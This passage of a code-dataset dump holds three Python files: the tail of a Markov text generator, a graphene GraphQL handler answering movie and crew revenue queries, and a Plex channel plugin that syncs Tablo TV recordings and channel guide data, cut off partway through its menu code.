xrange(0, 150):\n a = chain_dict[chain]\n t = a[random.randint(0, len(a) - 1)]\n\n sys.stdout.write(t + \" \")\n chain = (chain[1], t)\nprint\n","sub_path":"mmmarkov.py","file_name":"mmmarkov.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"444051345","text":"import datetime\nimport graphene\nimport json\nimport os\nimport pathlib\nimport sys\n\nimport pandas as pd\nfrom typing import List, Any\n\n# add common to bundle root\nbundle_root = pathlib.Path(os.environ['LABS_BUNDLE_ROOT'])\nsys.path.append(str(bundle_root / 'common'))\n# load data\nmovies = (pd\n .read_parquet(bundle_root / 'common/movies_metadata.parquet' ,columns=['title', 'revenue', 'id'])\n .drop_duplicates(subset=['id'])\n .sort_values('id')\n .set_index('id'))\ncrew = (pd\n .read_parquet(bundle_root / 'common/crew_with_nationality.parquet', columns=['movie_id', 'nationality', 'job', 'name_'])\n .sort_values(['nationality','job'])\n .set_index(['nationality','job']) \n )\n# define metadata\ncrew = crew.loc[crew.groupby(level=[0,1]).size()[lambda x:x>100].index]\nnationality_list = crew.index.get_level_values(0).unique()\njob_list = crew.index.get_level_values(1).unique() \njoined_table = movies.join(crew.reset_index().set_index('movie_id'), how='inner')\njoined_table_index_crew_member = joined_table.set_index(['nationality', 'job']).sort_index() .dropna(axis='rows')\njoined_table_index_crew_detail = joined_table.set_index(['name_']).sort_index().dropna(axis='rows')\n\n# output type\nclass crew_member(graphene.ObjectType):\n name = graphene.String(required=True)\n aggregate_revenue = graphene.Float(required=True)\n \n def __init__(self, row): \n self.name = row['name']\n self.aggregate_revenue = row['aggregate_revenue']\n \nclass crew_detail(graphene.ObjectType):\n movie_title = graphene.String(required=True)\n movie_revenue = graphene.Float(required=True)\n \n def __init__(self, row): \n self.movie_title = row['title']\n self.movie_revenue = row['revenue']\n \n \nclass Query(graphene.ObjectType):\n \n ## graphene \n nationality_list = graphene.List(graphene.String,\n required=True,\n job=graphene.String(default_value='Director', required=False ))\n job_list = graphene.List(graphene.String,\n required=True,\n nationality=graphene.String(default_value='English', required=False ))\n crew_list = graphene.List(crew_member,\n nationality = graphene.String(default_value='English', required=False),\n job = graphene.String(default_value='Director', required=False)\n )\n movie_list = graphene.List(crew_detail,\n crew_member_name = graphene.String(required=True)\n )\n \n def resolve_nationality_list(self, info, job):\n if job:\n nationality_list = crew.xs(job, level=1).index.unique().tolist()\n return nationality_list\n \n def resolve_job_list(self, info, nationality):\n if nationality:\n job_list = crew.xs(nationality, level=0).index.unique().tolist()\n return job_list \n \n def resolve_crew_list(self, info, nationality, job): \n top_crew = (joined_table_index_crew_member\n .loc[[nationality, job]]\n .dropna(axis='rows')\n .query('revenue > 1e6')\n .groupby(['name_'])['revenue']\n .sum()\n .nlargest(5)\n .to_frame('aggregate_revenue')\n .reset_index()\n .rename(columns={'name_':'name'})\n ) \n return [crew_member(row) for _, row in top_crew.iterrows()] \n \n def resolve_movie_list(self, info, crew_member_name):\n crew_details = (joined_table_index_crew_detail\n .loc[[crew_member_name]]\n .groupby(['title'])[['revenue']]\n .sum()\n .nlargest(5, 'revenue')\n .reset_index()\n )\n return [crew_detail(row) for _, row in crew_details.iterrows()]\n \n \nschema = graphene.Schema(query=Query)#, types=[crew_member, crew_detail])\n\n\ndef handle(input_json: str) -> str: \n # parse input\n try:\n input_dict = json.loads(input_json)\n except ValueError as e:\n return json.dumps({'data': None, 'errors': 'input must be json'}) \n # get variables, query\n variables = input_dict.get('variables', None)\n \n query = input_dict.get('query', '').replace('\\\\n', '').replace('\\n', '')\n # execute query\n output = schema.execute(query, variables=variables )\n if output.errors:\n errors = [str(err) for err in output.errors]\n else:\n errors = None\n return json.dumps({'data': output.data, 'errors': errors})\n\n\n\n","sub_path":"functions/index_by_nationality/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"355436019","text":"'''#########################################\n Author: @DavidVR - Van Ronk, David\n @PiX64 - Reid, Michael\n\n Source:\n\n Purpose:\n\n Legal:\n#########################################'''\nimport pprint\nimport sys\nimport traceback\nimport cerealizer\n\n# Borrowing from http://endlessnow.com/ten/SurLaTablo/surlatablo-2.0b4-py.txt\n# https://github.com/Nuvyyo/script.tablo\n\n'''#### Define Global Vars ####'''\nTITLE = 'Tablo'\nART = 'channel_splash_hd.png'\nICON = 'icon.png'\nNOTV_ICON = 'icon-no_image.png'\nICON_PREFS = 'icon_settings_hd.jpg'\nSHOW_THUMB = 'no_tv_110x150.jpg'\nPREFIX = '/video/tablo'\nLOG_PREFIX = \"***TabloTV2: \"\nASSOCSERVER = 'https://api.tablotv.com/assocserver/getipinfo/'\nVERSION = \"2.0.1\"\nFOLDERS_COUNT_IN_TITLE = True # Global VAR used to enable counts on titles\nDEBUG_IT = True\nONE_DAY_IN_SECONDS = 86400\nUseMeta = True\nPortNumber = '8885'\n\n''' LOGGING FUNCTION '''\n\n\ndef tplog(location, message):\n if DEBUG_IT:\n Log(LOG_PREFIX + str(location) + ': ' + pprint.pformat(message))\n\ndef tplogException(location):\n if DEBUG_IT:\n tb = sys.exc_info()[2]\n Log(LOG_PREFIX + str(location) + ': line ' + traceback.format_exc())\n\ndef ValueIfExists(obj, property, logLocation):\n if not obj is None and property in obj:\n return obj[property]\n else:\n tplog(logLocation, property + \" does not exist\")\n return ''\n\nclass Show:\n def __init__(self):\n self.Id = ''\n self.thumb = ''\n\n self.seriesId = ''\n self.showname = ''\n self.showid = ''\n self.episodenum = ''\n self.showname = ''\n self.title = ''\n self.summary = 'No Summary'\n self.url = ''\n self.recordingtype = 'Unknown'\n self.thumb = ''\n self.seasonnum = 0\n self.duration = 0\n self.airdate = ''\n \n def LoadEpisodeInfo(self, tablo_server_id, episodeObj):\n self.recordingtype = 'TvShow' \n self.title = ValueIfExists(episodeObj, 'title', 'Show class Load Episode - ' + self.Id)\n \n try:\n self.episodenum = int(ValueIfExists(episodeObj, 'number', 'Show class Load Episode - ' + self.Id))\n except Exception as e:\n tplog('Show class Load Episode - episodenum', e)\n\n self.summary = ValueIfExists(episodeObj, 'description', 'Show class Load Episode - ' + self.Id)\n\n def LoadSeasonInfo(self, tablo_server_id, seasonPath):\n seasonInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + seasonPath, values=None, headers={},\n cacheTime=60)\n if 'season' in seasonInfo:\n try:\n self.seasonnum = int(ValueIfExists(seasonInfo['season'], 'number', 'Show class LoadSeasonInfo - ' + self.Id))\n except Exception as e:\n tplog('Show class LoadSeasonInfo - seasonnum', e)\n\n def LoadMovieInfo(self, tablo_server_id, moviePath):\n self.recordingtype = 'Movie'\n movieInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + moviePath, values=None, headers={},\n cacheTime=60)\n if 'movie' in movieInfo:\n self.title = ValueIfExists(movieInfo['movie'], 'title', 'Show class LoadMovieInfo - ' + self.Id)\n self.summary = ValueIfExists(movieInfo['movie'], 'plot', 'Show class LoadMovieInfo - ' + self.Id)\n if 'thumbnail_image' in movieInfo['movie']:\n self.thumb = ValueIfExists(movieInfo['movie']['thumbnail_image'], 'image_id', 'Show class LoadMovieInfo - ' + self.Id)\n\n def LoadFromRecording(self, tablo_server_id, recordingUrl):\n self.Id = str(recordingUrl.rsplit('/', 1)[-1])\n recording = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + recordingUrl, values=None, headers={},\n cacheTime=60)\n seriesPath = ValueIfExists(recording, 'series_path', \"Show class LoadFromRecording - \" + self.Id)\n if 'snapshot_image' in recording:\n self.thumb = str(ValueIfExists(recording['snapshot_image'], 'image_id', 'Show class LoadFromRecording - ' + self.Id))\n\n if len(seriesPath) > 0:\n self.seriesId = str(seriesPath.rsplit('/', 1)[-1])\n \n if 'episode' in recording:\n self.LoadEpisodeInfo(tablo_server_id, recording['episode'])\n \n if 'season_path' in recording:\n self.LoadSeasonInfo(tablo_server_id, recording['season_path'])\n\n if 'movie_path' in recording:\n self.LoadMovieInfo(tablo_server_id, recording['movie_path'])\n\n # add sports checking and handling here!!\n\n try:\n duration = ValueIfExists(recording['video_details'],\n 'duration', 'Show class LoadFromRecording - ' + self.Id)\n self.duration = (int(duration) if duration else 0) * 1000\n except Exception as e:\n tplog('Show class LoadFromRecording - duration', e)\n \n try:\n self.airdate = ValueIfExists(recording['airing_details'], 'datetime', 'Show class LoadFromRecording - air date time - ' + self.Id)\n except Exception as e:\n tplog('Show class LoadFromRecording - air date time', e)\n\n try:\n if Dict['CPECOUNT'] > 1:\n self.title = self.title + ' on ' + Dict['CPES'][tablo_server_id]['NAME']\n except Exception as e:\n tplog('Show class LoadFromRecording - add device name',e)\n \n def LoadFromGuide(self, tablo_server_id, episodeUrl):\n self.Id = str(episodeUrl.rsplit('/', 1)[-1])\n\n episode = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + episodeUrl, values=None, headers={},\n cacheTime=60)\n seriesPath = ValueIfExists(episode, 'series_path', \"Show class LoadFromGuide - \" + self.Id)\n if len(seriesPath) > 0:\n self.seriesId = str(seriesPath.rsplit('/', 1)[-1])\n \n if 'episode' in episode:\n self.LoadEpisodeInfo(tablo_server_id, episode['episode'])\n \n if 'season_path' in episode:\n self.LoadSeasonInfo(tablo_server_id, episode['season_path'])\n \n if 'movie_path' in episode:\n self.LoadMovieInfo(tablo_server_id, episode['movie_path'])\n elif 'movie' in episode:\n if 'path' in episode['movie']:\n self.LoadMovieInfo(tablo_server_id, episode['movie']['path'])\n \n\n # Need to add handling of sports!!!\n\n try:\n duration = ValueIfExists(episode['airing_details'], 'duration', 'Show class LoadFromGuide - ' + self.Id)\n self.duration = (int(duration) if duration else 0) * 1000\n except Exception as e:\n tplog('Show class LoadFromGuide - duration', e)\n \n try:\n self.airdate = ValueIfExists(episode['airing_details'], 'datetime', 'Show class LoadFromRecording - air date time - ' + self.Id)\n except Exception as e:\n tplog('Show class LoadFromGuide - air date time', e)\n\nclass Series:\n def __init__(self):\n self.id = 0\n self.title = ''\n self.showtotalepisodes = 0\n self.description = 'No description.'\n self.seriesthumb = ''\n self.backgroundart = ''\n \n\n def LoadSeriesInfo(self, tablo_server_id, seriesInfo):\n seriesId = str(ValueIfExists(seriesInfo, 'object_id', 'Series LoadSeriesFromRecording'))\n if 'series' in seriesInfo:\n self.title = ValueIfExists(seriesInfo['series'], 'title', 'Series LoadSeriesFromRecording - ' + seriesId)\n self.description = ValueIfExists(seriesInfo['series'], 'description', 'Series LoadSeriesFromRecording - ' + seriesId)\n\n if 'background_image' in seriesInfo['series']:\n self.backgroundart = ValueIfExists(seriesInfo['series']['background_image'], 'image_id', 'Series LoadSeriesFromRecording - background_image - ' + seriesId)\n\n if 'thumbnail_image' in seriesInfo['series']:\n self.seriesthumb = ValueIfExists(seriesInfo['series']['thumbnail_image'], 'image_id', 'Series LoadSeriesFromRecording - thumbnail_image - ' + seriesId)\n\n if 'show_counts' in seriesInfo:\n totalEpisodes = ValueIfExists(seriesInfo['show_counts'], 'airing_count', 'Series LoadSeriesFromRecording - show_counts - ' + seriesId)\n self.showtotalepisodes = int(totalEpisodes if totalEpisodes else 0)\n\n def LoadSeriesFromRecording(self, tablo_server_id, seriesId):\n seriesInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + \"/recordings/series/\" + seriesId, values=None, headers={},\n cacheTime=60)\n self.id = seriesId\n self.LoadSeriesInfo(tablo_server_id, seriesInfo)\n\n def LoadSeriesFromGuide(self, tablo_server_id, guideUrl):\n seriesInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + guideUrl, values=None, headers={},\n cacheTime=60)\n self.id = str(guideUrl.rsplit('/', 1)[-1])\n self.LoadSeriesInfo(tablo_server_id, seriesInfo)\n\nclass ChannelGuide:\n def __init__(self):\n self.id = ''\n self.episode = Show()\n self.series = Series()\n self.numberMajor = 'N/A'\n self.numberMinor = 'N/A'\n self.callSign = 'N/A'\n self.art = ''\n self.channelNumber = ''\n self.order = 0\n\n def LoadInfo(self, tablo_server_id, channelId):\n try:\n channelInfo = JSON.ObjectFromURL(\n 'http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/guide/channels/' + str(channelId), values=None,\n headers={}, cacheTime=60)\n except Exception as e:\n tplog('ChannelGuide - Call to load channel info failed!', e)\n return\n\n self.id = channelId\n if 'channel' in channelInfo:\n self.numberMajor = ValueIfExists(channelInfo['channel'], 'major', 'ChannelGuide - LoadInfo - ' + channelId)\n self.numberMinor = ValueIfExists(channelInfo['channel'], 'minor', 'ChannelGuide - LoadInfo - ' + channelId)\n self.callSign = ValueIfExists(channelInfo['channel'], 'call_sign', 'ChannelGuide - LoadInfo - ' + channelId)\n\n if len(self.callSign) > 0:\n self.series.seriesthumb = 'http://hostedfiles.netcommtx.com/Tablo/plex/makeposter.php?text=' + str(\n self.callSign)\n self.art = 'http://hostedfiles.netcommtx.com/Tablo/plex/makeposter.php?text=' + str(\n self.callSign)\n else:\n self.series.seriesthumb = 'http://hostedfiles.netcommtx.com/Tablo/plex/makeposter.php?text=' + str(\n self.numberMajor + '-' + self.numberMinor)\n self.art = 'http://hostedfiles.netcommtx.com/Tablo/plex/makeposter.php?text=' + str(\n self.callSign)\n self.channelNumber = str(self.numberMajor) + '-' + str(self.numberMinor)\n\n\n try:\n channelGuideData = JSON.ObjectFromURL(\n 'http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/views/livetv/channels/' + str(channelId),\n values=None, headers={}, cacheTime=60)\n except Exception as e:\n tplog('ChannelGuide - LoadInfo - Load channel guide info failure - ' + channelId)\n return\n\n if len(channelGuideData) >= 1 and 'path' in channelGuideData[0]:\n try:\n self.episode.LoadFromGuide(tablo_server_id, channelGuideData[0]['path'])\n except Exception as e:\n tplogException('ChannelGuide - Failure to get current program info')\n self.episode.summary = 'No channel epsiode info found. Using channel info.'\n return\n else:\n self.episode.summary = 'No channel episode info found. Using channel info.'\n \n if len(channelGuideData) >= 1 and 'series' in channelGuideData[0]:\n if 'path' in channelGuideData[0]['series']:\n self.series.LoadSeriesFromGuide(tablo_server_id, channelGuideData[0]['series']['path'])\n\ncerealizer.register(Show)\ncerealizer.register(Series)\ncerealizer.register(ChannelGuide)\n\n# ###########################################\n# ########## \"Database\" FUNCTIONS ###########\n############################################\n\ndef startsync():\n datetime = Datetime.Now()\n if 'DATABASESYNCRUNNING' in Dict:\n if Dict['DATABASESYNCRUNNING'] == False:\n tplog('DATABASESYNCRUNNING Sync not running', 'sync not running')\n else:\n #Prevent hiting the Association Server every time find out how long its been since the last check\n\n if 'SYNCLASTCHECK' in Dict:\n timesincelastcheck = int(( datetime.utcnow() - Dict['SYNCLASTCHECK']).total_seconds())\n #We have started syncing less than 5 minutes ago, allow to continue\n if timesincelastcheck < 300 and timesincelastcheck != 0:\n tplog('startsync - Still syncing for',str(timesincelastcheck) )\n return True\n\n buildresult = build_tablos()\n if buildresult:\n Dict['SYNCLASTCHECK'] = datetime.utcnow()\n Thread.Create(sync_database_recordings)\n Thread.Create(sync_database_channels)\n else:\n tplog('startsync','got false from build tablos')\n\n'''#########################################\n Name: build_tablos()\n\n Parameters: None\n\n Handler: @handler -\n\n Purpose: Download the information for each tablo that has been active in 24 hours\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef build_tablos():\n # build a list of Tablos from the Association Server\n count = 0\n tplog(\"Start Build_Tablos\", '')\n try:\n if 'SelectedTablo' not in Dict:\n Dict['SelectedTablo'] = 'ALL'\n if 'CPECOUNT' not in Dict:\n Dict['CPECOUNT'] = 0\n if 'CPES' not in Dict:\n Dict['CPES'] = {}\n except:\n tplog('failed to set selected','')\n\n\n\n if Prefs['OVERRIDE_IP'] != '' and Prefs['OVERRIDE_IP'] is not None:\n tplog('override',Prefs['OVERRIDE_IP'])\n tablo_server_id = 'MANUAL'\n tablos = {tablo_server_id: {}}\n tablos[tablo_server_id]['PRIVATE_IP'] = Prefs['OVERRIDE_IP']\n tablos[tablo_server_id]['PRIVATE_PORT'] = Prefs['OVERRIDE_PORT']\n tablos[tablo_server_id]['PUBLIC_IP'] = Prefs['OVERRIDE_IP']\n tablos[tablo_server_id]['PUBLIC_PORT'] = Prefs['OVERRIDE_PORT']\n\n if 'CHANNELS' not in Dict['CPES'][tablo_server_id]:\n tplog('No CHANNELS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['CHANNELS'] = {}\n else:\n tplog('CHANNELS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['CHANNELS'] = Dict['CPES'][tablo_server_id]['CHANNELS']\n if 'RECORDINGS' not in Dict['CPES'][tablo_server_id]:\n tplog('No RECORDINGS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['RECORDINGS'] = {}\n else:\n tplog('RECORDINGS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['RECORDINGS'] = Dict['CPES'][tablo_server_id]['RECORDINGS']\n Dict['CPES'] = tablos\n Dict['CPECOUNT'] = 1\n return True\n #Prevent hiting the Association Server every time find out how long its been since the last check\n datetime = Datetime.Now()\n if 'LASTCHECK' in Dict:\n timesincelastcheck = int(( datetime.utcnow() - Dict['LASTCHECK']).total_seconds())\n if timesincelastcheck < 3600 and timesincelastcheck != 0:\n tplog('build_tablos - Timesincelastcheck',str(timesincelastcheck) )\n return True\n try:\n cpes = JSON.ObjectFromURL(ASSOCSERVER)\n\n if 'success' in cpes:\n tablos = {}\n\n for cpe in cpes['cpes']:\n if Dict['SelectedTablo'] == 'ALL' or Dict['SelectedTablo'] == cpe['serverid']:\n count += 1\n\n last_seen_with_tz = Datetime.ParseDate(cpe['last_seen'])\n tablo_server_id = cpe['serverid']\n last_seen_no_tz = last_seen_with_tz.replace(tzinfo=None)\n seconds_since_last_seen = int(( datetime.utcnow() - last_seen_no_tz).total_seconds())\n\n if DEBUG_IT:\n tplog('Processing Tablo', cpe)\n tplog('--Last Seen', seconds_since_last_seen)\n if seconds_since_last_seen < 86400:\n tablos[tablo_server_id] = {}\n\n #Reload the already saved recordings if we already have this tablo\n #First See if we already have a CPES array\n if 'CPES' in Dict:\n #now see if we have this tablo\n tplog('Found CPES', 'here')\n if tablo_server_id in Dict['CPES']:\n tplog('Found CPE ', tablo_server_id)\n if 'CHANNELS' not in Dict['CPES'][tablo_server_id]:\n tplog('No CHANNELS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['CHANNELS'] = {}\n else:\n tplog('CHANNELS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['CHANNELS'] = Dict['CPES'][tablo_server_id]['CHANNELS']\n if 'RECORDINGS' not in Dict['CPES'][tablo_server_id]:\n tplog('No RECORDINGS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['RECORDINGS'] = {}\n else:\n tplog('RECORDINGS key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['RECORDINGS'] = Dict['CPES'][tablo_server_id]['RECORDINGS']\n if 'SERIES' not in Dict['CPES'][tablo_server_id]:\n tplog('No SERIES key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['SERIES'] = {}\n else:\n tplog('SERIES key Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['SERIES'] = Dict['CPES'][tablo_server_id]['SERIES']\n else:\n tplog('Not Found for CPE ', tablo_server_id)\n tablos[tablo_server_id]['CHANNELS'] = {}\n tablos[tablo_server_id]['RECORDINGS'] = {}\n tablos[tablo_server_id]['NAME'] = cpe['host']\n tablos[tablo_server_id]['PUBLIC_IP'] = str(cpe['public_ip'])\n tablos[tablo_server_id]['PRIVATE_IP'] = str(cpe['private_ip'])\n tablos[tablo_server_id]['PRIVATE_PORT'] = PortNumber\n tablos[tablo_server_id]['PRIVATE_ROKUPORT'] = PortNumber\n tablos[tablo_server_id]['SERVER_ID'] = tablo_server_id\n Dict['CPES'] = tablos\n Dict['CPECOUNT'] = count\n #Set last time on successful load\n Dict['LASTCHECK'] = datetime.utcnow()\n if DEBUG_IT:\n tplog('created cpes for', tablos)\n return True\n else:\n return False\n except Exception as e:\n tplog(\"Error Contacting Association Server\", e)\n if 'CPES' in Dict:\n return True\n else:\n return False\n\n\n'''#########################################\n Name: sync_database_recordings()\n\n Parameters: None\n\n Handler: @handler -\n\n Purpose: Download the recordings and delete any recordings from the database that are deleted on the Tablo\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef sync_database_recordings(LoadLimit=5000):\n\n Dict['DATABASESYNCRUNNING'] = True\n if DEBUG_IT:\n tplog('Start sync_database ', LoadLimit)\n #Loop through Each Tablo\n count = 0\n if DEBUG_IT:\n tplog('-- sync_database CPES ', '')\n #Loop Through each tablo and download the list of recordings\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n if DEBUG_IT:\n tplog('sync_database cpe found ', cpe['NAME'])\n #Get the list of recordings\n try:\n cpe_recording_list = JSON.ObjectFromURL(\n 'http://' + cpe['PRIVATE_IP'] + ':' + cpe['PRIVATE_PORT'] + '/recordings/airings', values=None, headers={},\n cacheTime=60)\n except Exception as e:\n tplog(\"Error Reading CPE\", e)\n Dict['DATABASESYNCRUNNING'] = False\n return 0\n\n if DEBUG_IT:\n tplog('sync_database Recordings found ', '')\n \n recordingIds = list()\n seriesIds = list()\n\n #Loop Through the current tablo and add recording information to the database\n for recordingUrl in cpe_recording_list:\n try:\n recordingID = str(recordingUrl.rsplit('/', 1)[-1])\n recordingIds.append(recordingID)\n if count > LoadLimit:\n tplog('sync_database Recording ID ignored due to load limit', recordingID)\n return recordingID\n if 'RECORDINGS' not in Dict['CPES'][tablo_server_id]:\n Dict['CPES'][tablo_server_id]['RECORDINGS'] = {}\n if 'SERIES' not in Dict['CPES'][tablo_server_id]:\n Dict['CPES'][tablo_server_id]['SERIES'] = {}\n if not recordingID in Dict['CPES'][tablo_server_id]['RECORDINGS'] and count < LoadLimit:\n\n if count < LoadLimit:\n count += 1\n try:\n cpe_recording = JSON.ObjectFromURL('http://' + cpe['PRIVATE_IP'] + ':' + cpe[\n 'PRIVATE_PORT'] + recordingUrl, values=None, headers={},\n cacheTime=60)\n recording = Show()\n recording.LoadFromRecording(tablo_server_id, recordingUrl)\n Dict['CPES'][tablo_server_id]['RECORDINGS'][recordingID] = recording\n\n if DEBUG_IT:\n tplog('sync_database Recording first load ', recordingID)\n #tplog('sync_database Recording found ',Dict['CPES'][tablo_server_id]['RECORDINGS'][recordingID])\n\n except Exception as e:\n tplogException(\"sync_database Error Loading Meta\")\n\n else:\n tplog('sync_database hit load limit ', count)\n if recordingID in Dict['CPES'][tablo_server_id]['RECORDINGS']:\n try:\n seriesId = str(Dict['CPES'][tablo_server_id]['RECORDINGS'][recordingID].seriesId)\n if seriesId and not seriesId is None:\n if seriesId not in seriesIds:\n theSeries = Series()\n theSeries.LoadSeriesFromRecording(tablo_server_id, seriesId)\n Dict['CPES'][tablo_server_id]['SERIES'][seriesId] = theSeries\n seriesIds.append(seriesId)\n\n if DEBUG_IT:\n tplog('sync_database Series load ', seriesId)\n except Exception as e:\n tplogException(\"sync_database Error Loading Series Meta\")\n except Exception as e:\n tplogException(\"sync_database Error Loading loop\")\n\n #Remove Recordings that have been Deleted from the Tablo\n tplog(\"sync_database Checking for Deletions\", \"\")\n Temp = Dict['CPES'][tablo_server_id]['RECORDINGS'].copy()\n try:\n #Loop Through each recording and delete records from the database that are no longer on the Tablo\n for existing_recording_id in Temp:\n #convert to int to match data type\n #int_existing_recording_id = int(existing_recording_id)\n if existing_recording_id not in recordingIds:\n del Dict['CPES'][tablo_server_id]['RECORDINGS'][existing_recording_id]\n tplog('sync_database Deleting', existing_recording_id)\n except Exception as e:\n tplog(\"sync_database Error Deleting\", e)\n Dict['DATABASESYNCRUNNING'] = False\n\n tplog(\"sync_database Checking for Series Deletions\", \"\")\n TempSeries = Dict['CPES'][tablo_server_id]['SERIES'].copy()\n try:\n #Loop Through each recording and delete records from the database that are no longer on the Tablo\n for existing_series_id in TempSeries:\n #convert to int to match data type\n #int_existing_recording_id = int(existing_recording_id)\n if existing_series_id not in seriesIds:\n del Dict['CPES'][tablo_server_id]['SERIES'][existing_series_id]\n tplog('sync_database Deleting Series', existing_series_id)\n except Exception as e:\n tplog(\"sync_database Error Deleting\", e)\n Dict['DATABASESYNCRUNNING'] = False\n\n Dict['DATABASESYNCRUNNING'] = False\n return 1\n\n\n'''#########################################\n Name: sync_database_channels()\n\n Parameters: None\n\n Handler: @handler -\n\n Purpose: Sync the channels and update any information that is no longer current\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef sync_database_channels(LoadLimit=200):\n if 'CHANNELSYNCRUNNING' in Dict:\n if Dict['CHANNELSYNCRUNNING'] == True:\n tplog('Channel Sync already running', 'sync already running')\n return 0\n Dict['CHANNELSYNCRUNNING'] = True\n if DEBUG_IT:\n tplog('Start sync_database_channels ', LoadLimit)\n\n #Loop through Each Tablo and download channel information\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n #Load Channel Information\n try:\n tplog(\"sync_database_channels CPE \", tablo_server_id)\n i = 0 # used for storing channels in correct order as reported by TabloTV ch_id\n url = 'http://' + cpe['PRIVATE_IP'] + ':' + cpe['PRIVATE_PORT'] + '/guide/channels'\n cpe_channel_list = JSON.ObjectFromURL(url, values=None, headers={}, cacheTime=60)\n\n for channelPath in cpe_channel_list:\n chid = str(channelPath.rsplit('/', 1)[-1])\n #Use a Boolean to decide whether we need to load the channel information\n loadchannel = False\n\n #If the channel ID is not in our local database add it\n if 'CHANNELS' not in Dict['CPES'][tablo_server_id]:\n Dict['CPES'][tablo_server_id]['CHANNELS'] = ChannelGuide()\n if chid not in Dict['CPES'][tablo_server_id]['CHANNELS']:\n tplog('sync_database_channels - First Load: ', chid)\n loadchannel = True\n else:\n #If it is already in the database check if the program has ended, if it is close, re-sync the data\n datetime = Datetime.Now()\n startdatetimetz = Datetime.ParseDate(Dict['CPES'][tablo_server_id]['CHANNELS'][chid].episode.airdate)\n startdatetime = startdatetimetz.replace(tzinfo=None)\n secondsintoprogram = int(( datetime.utcnow() - startdatetime).total_seconds())\n # set the duration to within a minute of it ending\n durationinseconds = int(Dict['CPES'][tablo_server_id]['CHANNELS'][chid].episode.duration / 1000)\n tplog('Comparing ',\n 'secondsintoprogram' + str(secondsintoprogram) + 'durationinseconds' + str(durationinseconds))\n #if the program is ending or has ended reload\n if secondsintoprogram > (durationinseconds - 60):\n tplog('sync_database_channels - ReLoad: ', chid)\n loadchannel = True\n\n #If the channel was marked for reload, re-download the dict into the channels array\n if loadchannel:\n channelDict = ChannelGuide()\n channelDict.LoadInfo(tablo_server_id, chid)\n channelDict.order = i\n Dict['CPES'][tablo_server_id]['CHANNELS'][chid] = channelDict\n\n except Exception as e:\n tplogException(\"Error Reading CPE Channels\")\n Dict['CHANNELSYNCRUNNING'] = False\n Dict['CHANNELSYNCRUNNING'] = False\n\n\n\n\n############################################\n########### Menu FUNCTIONS ###########\n############################################\ndef Start():\n Log(LOG_PREFIX + \"Starting TabloTV Plex Channel Plugin: \" + VERSION)\n # Plugin setup\n Plugin.AddViewGroup(\"InfoList\", viewMode=\"InfoList\", mediaType=\"items\")\n Plugin.AddViewGroup(\"List\", viewMode=\"List\", mediaType=\"items\")\n\n # Object / Directory / VideoClip setup\n ObjectContainer.title1 = TITLE\n ObjectContainer.view_group = 'InfoList'\n ObjectContainer.art = R(ART)\n DirectoryObject.thumb = R(NOTV_ICON)\n DirectoryObject.art = R(ART)\n VideoClipObject.thumb = R(NOTV_ICON)\n VideoClipObject.art = R(ART)\n\n # HTTP setup\n HTTP.CacheTime = CACHE_1HOUR\n HTTP.Headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0'\n try:\n Dict['DATABASESYNCRUNNING'] = False\n Dict['CHANNELSYNCRUNNING'] = False\n if 'LASTCHECK' in Dict:\n del Dict['LASTCHECK']\n startsync()\n except Exception as e:\n tplog(\"Error Preloading\", e)\n\n\n\n'''#########################################\n Name: MainMenu()\n\n Parameters: None\n\n Handler: @handler -\n\n Purpose: Gather and display all top level items\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@handler(PREFIX, TITLE, thumb=ICON, art=ART)\ndef MainMenu():\n startsync()\n #Attempt to better handle the first sync of the database by prompting to load all the data\n\n oc = ObjectContainer()\n oc.no_cache = True\n oc.add(DirectoryObject(thumb=R('icon_livetv_hd.png'), key=Callback(livetv), title=\"Live TV\"))\n oc.add(DirectoryObject(thumb=R('icon-Recordings.png'), key=Callback(recentrecordings), title=\"Recent Recordings\"))\n oc.add(DirectoryObject(thumb=R('icon-Movies.png'), key=Callback(movies), title=\"Movies\"))\n oc.add(DirectoryObject(thumb=R('icon-TVShow.png'), key=Callback(shows), title=\"TV Shows\"))\n 